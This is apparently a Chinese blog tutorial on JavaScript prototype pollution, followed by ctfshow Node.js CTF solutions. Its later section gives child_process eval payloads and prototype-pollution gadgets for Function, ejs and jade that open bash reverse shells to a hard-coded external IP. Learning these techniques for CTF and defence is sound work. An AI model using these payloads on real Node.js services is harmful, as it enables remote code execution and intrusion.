JavaScript原型链污染

0x01

前面很早就知道有这个姿势,但是一直拖欠,包括打ctfshow的时候也是一把锁,后面学了flask的原型链污染觉得很有意思,来学习一下,把坑填了

0x02

prototype&&__proto__

零基础没关系,我们只要知道属性这个东西就可以,最简单的demo

1
2
3
4
5
6
7
8
function Foo() {
this.bar = 1
this.show=function (){
console.log(this.bar)
}
}

(new Foo()).show()

就可以看到打印出来了1,但是如果我们不仅仅是只创建了这一个对象,而是很多个Foo,那我们每次都要新建一个show方法,对此,我们可以利用prototype来完成

1
2
3
4
5
6
7
function Foo(){
this.bar=1
}
Foo.prototype.show=function(){
console.log(this.bar)
};
(new Foo()).show()

prototype是个啥呢,我们在代码中就可以看出是一个属性,并且Foo.prototype是等效于Foo()原型的,看看官方文档

1

文档其中也意识到了利用这个属性访问原型进行覆盖属性的问题,也就是原型链污染问题,但是要想这么利用我们必须要拿到Foo(),如果我们是生成出来的对象呢,如何访问原型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Foo() {
this.bar = 1;
}

Foo.prototype.show = function() {
console.log(this.bar);
return this;
};

let a = new Foo();
a.__proto__.test=function (){
console.log("win");
return this;
}
console.log(a.test());

if (a.__proto__==Foo.prototype){
console.log("Yees");
}

我们可以使用__proto__,相信很多师傅,经常在一些简单的题目中使用到这个属性,而这么一看我们很容易就知道a.__proto__==Foo.prototype,也就是说prototype是一个属性,每个对象都有,且可通过他访问所有对象的原型(此例中为Foo),__proto__为一个属性,可以利用来访问对象的prototype属性,最后达到访问原型的效果

继承

知道了上面两个属性之后,我们就很容易像flask的一样做实验了

1
2
3
4
5
6
7
8
9
10
11
12
13
function Father() {
this.first_name = 'Donald'
// this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()
// Object.prototype.last_name = 'Trump'
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

这里的回显是Name: Melania undefined,而为什么会造成这样的结果,

JavaScript 对象是动态的“包”属性(称为自己的属性)。JavaScript 对象具有指向原型对象的链接。当尝试访问对象的属性时,不仅会在对象上搜索该属性,还会在对象的原型、原型的原型上查找该属性,依此类推,直到找到具有匹配名称的属性或到达原型链的末尾。

其中的末尾指的是Object.prototype如果还找不到就是null也就是我们刚刚输出的未定义了,用P牛的话总结一下机制是

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

开干,写个最简单的demo进行值的覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar,foo.__proto__)

foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// Object.prototype.bar = 'Trump'
// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

验证污染可行的同时也验证了我们刚才说的查找顺序

应用场景

在ctfshow刷题的时候我就一直很苦恼,甚至被狠狠的折磨,因为有时候手写payload就是不容易一次写对对于新手来说,但是我发现后面靶机无论如何也不能污染成功了,原因是因为一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。回到正题应用场景这个应该是耳熟能详的了,就是类似的merge函数功能都可以,这里进行Debug还是以merge为例子

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

放入poc

1
2
3
4
5
6
7
let o1 = {}
let payload = {a: 1, "__proto__": {b: 2}}
merge(o1, payload)
console.log(o1.a, o1.b)

o2 = {}
console.log(o2.b)

发现合并属性是成功了,但是污染失败了,进行调试发现__proto__在代码中并没有被识别成key

1

究其根本是因为此时的__proto__并不是o1的原型,而只是一个很普通的属性,我们要使其能够正确解析为原型的话需要使用JSON.parse

1
let payload = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')

即可成功,Debug看看,首先a肯定是没有的,所以是直接覆盖

1

但是__proto__是在原型里面的所以进行第一条件语句

1

ba一样都是undefined所以直接覆盖

1

最后完成了污染,了解了这个机制之后做点简单的题目练手

demo

ctfshow_nodejs专题

简单题直接放poc,难点的看看

1
ctfshow\123456
1
2
3
?eval=require('child_process').execSync('ls /').toString()
?eval=require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ '/app/fl00g.txt' ] ).stdout.toString()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const crypto = require('crypto'); // 引入 crypto 模块

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

let a = {'x':'1'};
let b = {'x':'2'};
let flag = "your_secret_flag"; // 定义 flag 变量

console.log((a+flag));
console.log(md5(a + flag)); // 计算 a 和 flag 拼接后的 MD5
console.log(md5(b + flag)); // 计算 b 和 flag 拼接后的 MD5
// [object Object]your_secret_flag
// 2f97f1090b894fe22dd12594701b928a
// 2f97f1090b894fe22dd12594701b928a

web338跟进copy函数看到了和merge差不多的东西

1
{"__proto__":{"ctfshow":"36dboy"}}

web339

1
2
3
4
5
const sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 6));

query="return 123"
console.log(Function(query)(query));

所以污染即可RCE Function

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.9/9999 0>&1\"')"}}

然后POST访问/api,使得函数执行

web340把对象套了一层

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.9/9999 0>&1\"')"}}}

web341即使是有污染的地方,但是没有地方可以执行了,这个时候就要看框架本身是否有漏洞,可以看到引用了ejs,上网搜索一下

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.9/9999 0>&1\"');var __tmp2"}}}

web342&&web343是jade,还是框架,参数是login.js里面可以看到的

1
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.9/9999 0>&1\"')"}}}

web344极客大挑战里面的东西

1
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}